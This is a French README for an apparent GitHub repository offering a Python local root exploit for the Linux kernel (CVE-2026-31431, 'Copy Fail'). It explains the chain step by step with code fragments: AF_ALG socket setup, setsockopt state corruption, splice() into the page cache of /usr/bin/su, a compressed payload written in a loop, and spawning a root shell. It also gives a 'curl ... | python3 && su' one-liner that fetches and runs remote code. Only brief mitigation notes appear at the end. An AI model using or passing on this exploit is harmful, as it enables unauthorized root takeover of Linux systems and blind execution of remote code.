
Exploit Python pour l'élévation de privilèges locale du noyau Linux (CVE-2026-31431) utilisant la confusion d'état de socket AF_ALG et splice() pour réaliser une écriture arbitraire de fichier et obtenir un accès root.
Ce dépôt est strictement destiné à des fins éducatives et de recherche en cybersécurité. Le code de l'exploit est analysé pour comprendre la vulnérabilité sous-jacente, faciliter le correctif et développer des stratégies défensives. Ne l'utilisez pas contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite de test.
« Copy Fail » est une vulnérabilité critique d'élévation de privilèges locale (LPE) découverte dans le noyau Linux. Elle permet à un utilisateur non privilégié d'obtenir un accès root en exploitant une faille dans la manière dont le noyau gère les opérations mémoire entre le système de fichiers et l'API de cryptographie asynchrone (AF_ALG).
L'exploit Python fourni combine un ensemble d'appels système et d'interfaces Linux obscurs pour réaliser une écriture hors limites (OOB) arbitraire dans la mémoire du noyau, qui est ensuite convertie en écriture de fichier arbitraire sur le disque.
Voici le détail étape par étape de la chaîne d'attaque :
AF_ALGa=s.socket(38, 5, 0)
a.bind(("aead","authesn(hmac(sha256),cbc(aes))"))
Le script crée une socket AF_ALG (Famille 38). Cette interface permet aux applications de l'espace utilisateur de déléguer les opérations cryptographiques au noyau. Elle demande spécifiquement une chaîne de chiffrement AEAD (Authenticated Encryption with Associated Data) combinant HMAC-SHA256 et CBC-AES.
setsockoptv(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
Le script manipule l'état interne de la socket à l'aide de setsockopt. La charge utile hexadécimale et l'argument None sont soigneusement conçus pour déclencher une condition de limite ou un dépassement d'entier dans la gestion des tampons de l'API crypto du noyau. Cela « fait échouer » l'opération de copie en toute sécurité à l'intérieur du noyau, laissant la socket dans un état incohérent et vulnérable.
splice()n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
C'est le cœur de l'exploit. Au lieu de lire les données dans l'espace utilisateur puis de les réécrire, splice() déplace les données directement entre les descripteurs de fichiers, entièrement dans l'espace du noyau.
Le script ouvre /usr/bin/su (un binaire SUID root) et tente de transférer des données de celui-ci vers la socket AF_ALG mal configurée. Comme l'état de la socket a été corrompu à l'étape 2, la vérification des limites du noyau échoue pendant cette opération zéro-copie.
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
Le script décompresse une charge utile compressée (probablement un petit shellcode ou un blob binaire modifié). Il entre dans une boucle, envoyant cette charge utile 4 octets à la fois dans le tampon de la socket corrompue. En raison de l'échec de la vérification des limites, ces écritures de 4 octets atterrissent à des décalages arbitraires dans le cache de pages du noyau — l'espace mémoire exact où /usr/bin/su est chargé.
g.system("su")
En écrasant des pointeurs d'instructions spécifiques ou des vérifications logiques dans la version mise en cache de /usr/bin/su, l'attaquant modifie le comportement du binaire. Lorsque system("su") est appelé, il exécute le binaire SUID modifié. Le binaire s'exécute en tant que root mais ignore la vérification standard du mot de passe, plaçant directement l'attaquant dans un shell root.
Téléchargez et exécutez copyfail.py sur votre système Linux ou utilisez la requête curl ci-dessous pour une exécution rapide
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALG : Si le déchargement cryptographique n'est pas requis par vos charges de travail, désactivez le module du noyau af_alg en ajoutant blacklist af_alg à /etc/modprobe.d/blacklist.conf.splice(), socket() (spécifiquement la famille 38) et setsockopt() à l'aide de filtres Seccomp stricts.